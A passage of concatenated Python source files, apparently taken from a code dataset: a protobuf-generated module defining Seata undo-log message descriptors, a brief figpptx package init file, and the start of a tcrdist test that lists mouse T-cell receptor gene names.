serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='table_name', full_name='seata.rm.datasource.undo.parser.proto.TableRecords.table_name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='rows', full_name='seata.rm.datasource.undo.parser.proto.TableRecords.rows', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=449, serialized_end=611, ) _TABLEMETA_ALLCOLUMNSENTRY = _descriptor.Descriptor( name='AllColumnsEntry', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.AllColumnsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.AllColumnsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.AllColumnsEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=819, serialized_end=919, ) _TABLEMETA_ALLINDEXSENTRY = _descriptor.Descriptor( name='AllIndexsEntry', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.AllIndexsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.AllIndexsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.AllIndexsEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=921, serialized_end=1019, ) _TABLEMETA = _descriptor.Descriptor( name='TableMeta', full_name='seata.rm.datasource.undo.parser.proto.TableMeta', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='table_name', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.table_name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_columns', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.all_columns', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='all_indexs', full_name='seata.rm.datasource.undo.parser.proto.TableMeta.all_indexs', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_TABLEMETA_ALLCOLUMNSENTRY, _TABLEMETA_ALLINDEXSENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=614, serialized_end=1019, ) _COLUMNMETA = _descriptor.Descriptor( name='ColumnMeta', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='table_cat', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.table_cat', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='table_schema_name', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.table_schema_name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='table_name', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.table_name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='column_name', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.column_name', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='data_type', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.data_type', index=4, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='data_type_name', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.data_type_name', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='column_size', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.column_size', index=6, number=7, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='decimal_digits', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.decimal_digits', index=7, number=8, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='num_prec_radix', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.num_prec_radix', index=8, number=9, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='null_able', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.null_able', index=9, number=10, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='remarks', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.remarks', index=10, number=11, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='column_def', 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create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='is_nullable', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.is_nullable', index=16, number=17, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='is_autoincrement', full_name='seata.rm.datasource.undo.parser.proto.ColumnMeta.is_autoincrement', index=17, number=18, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1022, serialized_end=1460, ) _INDEXMETA = _descriptor.Descriptor( name='IndexMeta', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='values', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.values', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='non_unique', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.non_unique', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='index_qualifier', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.index_qualifier', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='index_name', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.index_name', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.type', index=4, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='index_type', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.index_type', index=5, number=6, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='asc_or_desc', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.asc_or_desc', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cardinality', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.cardinality', index=7, number=8, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ordinal_position', full_name='seata.rm.datasource.undo.parser.proto.IndexMeta.ordinal_position', index=8, number=9, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1463, serialized_end=1708, ) _ROW = _descriptor.Descriptor( name='Row', full_name='seata.rm.datasource.undo.parser.proto.Row', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='fields', full_name='seata.rm.datasource.undo.parser.proto.Row.fields', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1710, serialized_end=1777, ) _FIELD = _descriptor.Descriptor( name='Field', full_name='seata.rm.datasource.undo.parser.proto.Field', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='seata.rm.datasource.undo.parser.proto.Field.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='key_type', full_name='seata.rm.datasource.undo.parser.proto.Field.key_type', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='seata.rm.datasource.undo.parser.proto.Field.type', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='seata.rm.datasource.undo.parser.proto.Field.value', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1779, serialized_end=1847, ) _BRANCHUNDOLOG.fields_by_name['sql_undo_logs'].message_type = _SQLUNDOLOG _BRANCHUNDOLOG.oneofs_by_name['_xid'].fields.append( _BRANCHUNDOLOG.fields_by_name['xid']) _BRANCHUNDOLOG.fields_by_name['xid'].containing_oneof = _BRANCHUNDOLOG.oneofs_by_name['_xid'] _BRANCHUNDOLOG.oneofs_by_name['_branch_id'].fields.append( _BRANCHUNDOLOG.fields_by_name['branch_id']) _BRANCHUNDOLOG.fields_by_name['branch_id'].containing_oneof = _BRANCHUNDOLOG.oneofs_by_name['_branch_id'] _SQLUNDOLOG.fields_by_name['before_image'].message_type = _TABLERECORDS _SQLUNDOLOG.fields_by_name['after_image'].message_type = _TABLERECORDS _TABLERECORDS.fields_by_name['table_meta'].message_type = _TABLEMETA _TABLERECORDS.fields_by_name['rows'].message_type = _ROW _TABLEMETA_ALLCOLUMNSENTRY.fields_by_name['value'].message_type = _COLUMNMETA _TABLEMETA_ALLCOLUMNSENTRY.containing_type = _TABLEMETA _TABLEMETA_ALLINDEXSENTRY.fields_by_name['value'].message_type = _INDEXMETA _TABLEMETA_ALLINDEXSENTRY.containing_type = _TABLEMETA _TABLEMETA.fields_by_name['all_columns'].message_type = _TABLEMETA_ALLCOLUMNSENTRY _TABLEMETA.fields_by_name['all_indexs'].message_type = _TABLEMETA_ALLINDEXSENTRY _COLUMNMETA.fields_by_name['char_octet_length'].message_type = google_dot_protobuf_dot_any__pb2._ANY _INDEXMETA.fields_by_name['values'].message_type = _COLUMNMETA _ROW.fields_by_name['fields'].message_type = _FIELD DESCRIPTOR.message_types_by_name['BranchUndoLog'] = _BRANCHUNDOLOG DESCRIPTOR.message_types_by_name['SQLUndoLog'] = _SQLUNDOLOG DESCRIPTOR.message_types_by_name['TableRecords'] = _TABLERECORDS DESCRIPTOR.message_types_by_name['TableMeta'] = _TABLEMETA DESCRIPTOR.message_types_by_name['ColumnMeta'] = _COLUMNMETA DESCRIPTOR.message_types_by_name['IndexMeta'] = _INDEXMETA DESCRIPTOR.message_types_by_name['Row'] = _ROW DESCRIPTOR.message_types_by_name['Field'] = _FIELD _sym_db.RegisterFileDescriptor(DESCRIPTOR) BranchUndoLog = _reflection.GeneratedProtocolMessageType('BranchUndoLog', (_message.Message,), { 'DESCRIPTOR' : _BRANCHUNDOLOG, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.BranchUndoLog) }) _sym_db.RegisterMessage(BranchUndoLog) SQLUndoLog = _reflection.GeneratedProtocolMessageType('SQLUndoLog', (_message.Message,), { 'DESCRIPTOR' : _SQLUNDOLOG, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.SQLUndoLog) }) _sym_db.RegisterMessage(SQLUndoLog) TableRecords = _reflection.GeneratedProtocolMessageType('TableRecords', (_message.Message,), { 'DESCRIPTOR' : _TABLERECORDS, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.TableRecords) }) _sym_db.RegisterMessage(TableRecords) TableMeta = _reflection.GeneratedProtocolMessageType('TableMeta', (_message.Message,), { 'AllColumnsEntry' : _reflection.GeneratedProtocolMessageType('AllColumnsEntry', (_message.Message,), { 'DESCRIPTOR' : _TABLEMETA_ALLCOLUMNSENTRY, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.TableMeta.AllColumnsEntry) }) , 'AllIndexsEntry' : _reflection.GeneratedProtocolMessageType('AllIndexsEntry', (_message.Message,), { 'DESCRIPTOR' : _TABLEMETA_ALLINDEXSENTRY, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.TableMeta.AllIndexsEntry) }) , 'DESCRIPTOR' : _TABLEMETA, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.TableMeta) }) _sym_db.RegisterMessage(TableMeta) _sym_db.RegisterMessage(TableMeta.AllColumnsEntry) _sym_db.RegisterMessage(TableMeta.AllIndexsEntry) ColumnMeta = _reflection.GeneratedProtocolMessageType('ColumnMeta', (_message.Message,), { 'DESCRIPTOR' : _COLUMNMETA, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.ColumnMeta) }) _sym_db.RegisterMessage(ColumnMeta) IndexMeta = _reflection.GeneratedProtocolMessageType('IndexMeta', (_message.Message,), { 'DESCRIPTOR' : _INDEXMETA, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.IndexMeta) }) _sym_db.RegisterMessage(IndexMeta) Row = _reflection.GeneratedProtocolMessageType('Row', (_message.Message,), { 'DESCRIPTOR' : _ROW, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.Row) }) _sym_db.RegisterMessage(Row) Field = _reflection.GeneratedProtocolMessageType('Field', (_message.Message,), { 'DESCRIPTOR' : _FIELD, '__module__' : 'branch_undolog_pb2' # @@protoc_insertion_point(class_scope:seata.rm.datasource.undo.parser.proto.Field) }) _sym_db.RegisterMessage(Field) _TABLEMETA_ALLCOLUMNSENTRY._options = None _TABLEMETA_ALLINDEXSENTRY._options = None # @@protoc_insertion_point(module_scope)

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py

Python

figpptx/converters/__init__.py

Sillte/figpptx

bf5539b09eeef4e6a17bb4483f62f29d286138b2

[ "MIT" ]

null

figpptx/converters/__init__.py

Sillte/figpptx

bf5539b09eeef4e6a17bb4483f62f29d286138b2

[ "MIT" ]

null

figpptx/converters/__init__.py

Sillte/figpptx

bf5539b09eeef4e6a17bb4483f62f29d286138b2

[ "MIT" ]

null

""" You have to clarify import here. """ from . import line2d # NOQA from . import fancybox # NOQA from . import text # NOQA

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py

Python

tcrdist/tests/test_reverse_translate.py

agartland/tcrdist2

77ab0036a3f8f3951093a3bb14741d961ae14eda

[ "MIT" ]

14

2019-07-16T22:49:20.000Z

2022-02-03T00:05:38.000Z

tcrdist/tests/test_reverse_translate.py

agartland/tcrdist2

77ab0036a3f8f3951093a3bb14741d961ae14eda

[ "MIT" ]

20

2019-08-02T14:47:20.000Z

2020-06-29T15:09:18.000Z

tcrdist/tests/test_reverse_translate.py

agartland/tcrdist2

77ab0036a3f8f3951093a3bb14741d961ae14eda

[ "MIT" ]

5

2019-06-07T21:04:54.000Z

2021-04-15T04:28:00.000Z

import pytest from tcrdist.reverse_translate import TCRcodon from tcrdist.tests.my_test_subset import clone_df_subset import numpy as np import pandas as pd def test_TCRcodon_mouse_ab_init(): tc = TCRcodon(organism = "mouse", db_file = "alphabeta_db.tsv") assert set(tc.all_genes.keys()) == set(['TRAV1*01', 'TRAV1*02', 'TRAV10*01', 'TRAV10*02', 'TRAV10*03', 'TRAV10*04', 'TRAV10*05', 'TRAV10D*01', 'TRAV10D*02', 'TRAV10N*01', 'TRAV11*01', 'TRAV11*02', 'TRAV11D*01', 'TRAV11N*01', 'TRAV12-1*01', 'TRAV12-1*02', 'TRAV12-1*03', 'TRAV12-1*04', 'TRAV12-1*05', 'TRAV12-2*01', 'TRAV12-3*01', 'TRAV12-3*02', 'TRAV12-3*03', 'TRAV12-3*04', 'TRAV12D-1*01', 'TRAV12D-1*02', 'TRAV12D-1*03', 'TRAV12D-1*04', 'TRAV12D-1*05', 'TRAV12D-2*01', 'TRAV12D-2*02', 'TRAV12D-2*03', 'TRAV12D-2*04', 'TRAV12D-2*05', 'TRAV12D-3*01', 'TRAV12D-3*02', 'TRAV12D-3*03', 'TRAV12N-1*01', 'TRAV12N-2*01', 'TRAV12N-3*01', 'TRAV13-1*01', 'TRAV13-2*01', 'TRAV13-2*02', 'TRAV13-3*01', 'TRAV13-3*02', 'TRAV13-4/DV7*01', 'TRAV13-4/DV7*02', 'TRAV13-4/DV7*03', 'TRAV13-5*01', 'TRAV13D-1*01', 'TRAV13D-1*02', 'TRAV13D-1*03', 'TRAV13D-2*01', 'TRAV13D-2*02', 'TRAV13D-3*01', 'TRAV13D-3*02', 'TRAV13D-4*01', 'TRAV13D-4*02', 'TRAV13D-4*03', 'TRAV13N-1*01', 'TRAV13N-2*01', 'TRAV13N-3*01', 'TRAV13N-4*01', 'TRAV14-1*01', 'TRAV14-1*02', 'TRAV14-1*03', 'TRAV14-2*01', 'TRAV14-2*02', 'TRAV14-2*03', 'TRAV14-3*01', 'TRAV14-3*02', 'TRAV14-3*03', 'TRAV14D-1*01', 'TRAV14D-1*02', 'TRAV14D-2*01', 'TRAV14D-2*02', 'TRAV14D-2*03', 'TRAV14D-3/DV8*01', 'TRAV14D-3/DV8*02', 'TRAV14D-3/DV8*03', 'TRAV14D-3/DV8*04', 'TRAV14D-3/DV8*05', 'TRAV14D-3/DV8*06', 'TRAV14D-3/DV8*07', 'TRAV14D-3/DV8*08', 'TRAV14N-1*01', 'TRAV14N-2*01', 'TRAV14N-3*01', 'TRAV15-1/DV6-1*01', 'TRAV15-1/DV6-1*02', 'TRAV15-2/DV6-2*01', 'TRAV15-2/DV6-2*02', 'TRAV15D-1/DV6D-1*01', 'TRAV15D-1/DV6D-1*02', 'TRAV15D-1/DV6D-1*03', 'TRAV15D-1/DV6D-1*04', 'TRAV15D-1/DV6D-1*05', 'TRAV15D-1/DV6D-1*06', 'TRAV15D-2/DV6D-2*01', 'TRAV15D-2/DV6D-2*02', 'TRAV15D-2/DV6D-2*03', 'TRAV15D-2/DV6D-2*04', 'TRAV15D-2/DV6D-2*05', 'TRAV15N-1*01', 'TRAV15N-2*01', 'TRAV16*01', 'TRAV16*02', 'TRAV16*03', 'TRAV16*04', 'TRAV16*05', 'TRAV16D/DV11*01', 'TRAV16D/DV11*02', 'TRAV16D/DV11*03', 'TRAV16N*01', 'TRAV17*01', 'TRAV17*02', 'TRAV18*01', 'TRAV19*01', 'TRAV19*03', 'TRAV2*01', 'TRAV20*01', 'TRAV20*02', 'TRAV21/DV12*01', 'TRAV21/DV12*02', 'TRAV3-1*01', 'TRAV3-1*02', 'TRAV3-3*01', 'TRAV3-4*01', 'TRAV3D-3*01', 'TRAV3D-3*02', 'TRAV3N-3*01', 'TRAV4-2*01', 'TRAV4-2*02', 'TRAV4-3*01', 'TRAV4-3*02', 'TRAV4-4/DV10*01', 'TRAV4D-2*01', 'TRAV4D-3*01', 'TRAV4D-3*02', 'TRAV4D-3*03', 'TRAV4D-3*04', 'TRAV4D-4*01', 'TRAV4D-4*02', 'TRAV4D-4*03', 'TRAV4D-4*04', 'TRAV4N-3*01', 'TRAV4N-4*01', 'TRAV5-1*01', 'TRAV5-2*01', 'TRAV5-4*01', 'TRAV5D-2*01', 'TRAV5D-4*01', 'TRAV5D-4*02', 'TRAV5D-4*03', 'TRAV5D-4*04', 'TRAV5D-4*05', 'TRAV5N-2*01', 'TRAV5N-4*01', 'TRAV6-1*01', 'TRAV6-1*02', 'TRAV6-2*01', 'TRAV6-2*02', 'TRAV6-2*03', 'TRAV6-3*01', 'TRAV6-3*02', 'TRAV6-4*01', 'TRAV6-4*02', 'TRAV6-4*03', 'TRAV6-5*01', 'TRAV6-5*02', 'TRAV6-5*03', 'TRAV6-5*04', 'TRAV6-6*01', 'TRAV6-6*02', 'TRAV6-6*03', 'TRAV6-7/DV9*01', 'TRAV6-7/DV9*02', 'TRAV6-7/DV9*03', 'TRAV6-7/DV9*04', 'TRAV6-7/DV9*06', 'TRAV6-7/DV9*07', 'TRAV6-7/DV9*08', 'TRAV6D-3*01', 'TRAV6D-3*02', 'TRAV6D-4*01', 'TRAV6D-5*01', 'TRAV6D-6*01', 'TRAV6D-6*02', 'TRAV6D-6*03', 'TRAV6D-6*04', 'TRAV6D-6*05', 'TRAV6D-7*01', 'TRAV6D-7*02', 'TRAV6D-7*03', 'TRAV6D-7*04', 'TRAV6N-5*01', 'TRAV6N-6*01', 'TRAV6N-7*01', 'TRAV7-1*01', 'TRAV7-2*01', 'TRAV7-2*02', 'TRAV7-3*01', 'TRAV7-3*02', 'TRAV7-3*03', 'TRAV7-3*04', 'TRAV7-4*01', 'TRAV7-4*02', 'TRAV7-5*01', 'TRAV7-5*02', 'TRAV7-5*03', 'TRAV7-6*01', 'TRAV7-6*02', 'TRAV7D-2*01', 'TRAV7D-2*02', 'TRAV7D-2*03', 'TRAV7D-3*01', 'TRAV7D-3*02', 'TRAV7D-4*01', 'TRAV7D-4*02', 'TRAV7D-4*03', 'TRAV7D-5*01', 'TRAV7D-6*01', 'TRAV7D-6*02', 'TRAV7N-4*01', 'TRAV7N-5*01', 'TRAV7N-6*01', 'TRAV8-1*01', 'TRAV8-1*02', 'TRAV8-1*03', 'TRAV8-2*01', 'TRAV8D-1*01', 'TRAV8D-1*02', 'TRAV8D-2*01', 'TRAV8D-2*02', 'TRAV8D-2*03', 'TRAV8N-2*01', 'TRAV9-1*01', 'TRAV9-1*02', 'TRAV9-2*01', 'TRAV9-3*01', 'TRAV9-3*02', 'TRAV9-3*03', 'TRAV9-4*01', 'TRAV9D-1*01', 'TRAV9D-1*02', 'TRAV9D-2*01', 'TRAV9D-2*02', 'TRAV9D-2*03', 'TRAV9D-3*01', 'TRAV9D-3*02', 'TRAV9D-4*01', 'TRAV9D-4*03', 'TRAV9D-4*04', 'TRAV9N-2*01', 'TRAV9N-3*01', 'TRAV9N-4*01', 'TRAJ11*01', 'TRAJ12*01', 'TRAJ13*01', 'TRAJ15*01', 'TRAJ16*01', 'TRAJ17*01', 'TRAJ18*01', 'TRAJ19*01', 'TRAJ2*01', 'TRAJ2*02', 'TRAJ20*01', 'TRAJ21*01', 'TRAJ21*02', 'TRAJ22*01', 'TRAJ23*01', 'TRAJ24*01', 'TRAJ25*01', 'TRAJ26*01', 'TRAJ27*01', 'TRAJ28*01', 'TRAJ29*01', 'TRAJ3*01', 'TRAJ30*01', 'TRAJ31*01', 'TRAJ31*02', 'TRAJ32*01', 'TRAJ32*02', 'TRAJ33*01', 'TRAJ34*01', 'TRAJ34*02', 'TRAJ35*01', 'TRAJ35*02', 'TRAJ36*01', 'TRAJ37*01', 'TRAJ38*01', 'TRAJ39*01', 'TRAJ4*01', 'TRAJ40*01', 'TRAJ41*01', 'TRAJ42*01', 'TRAJ42*02', 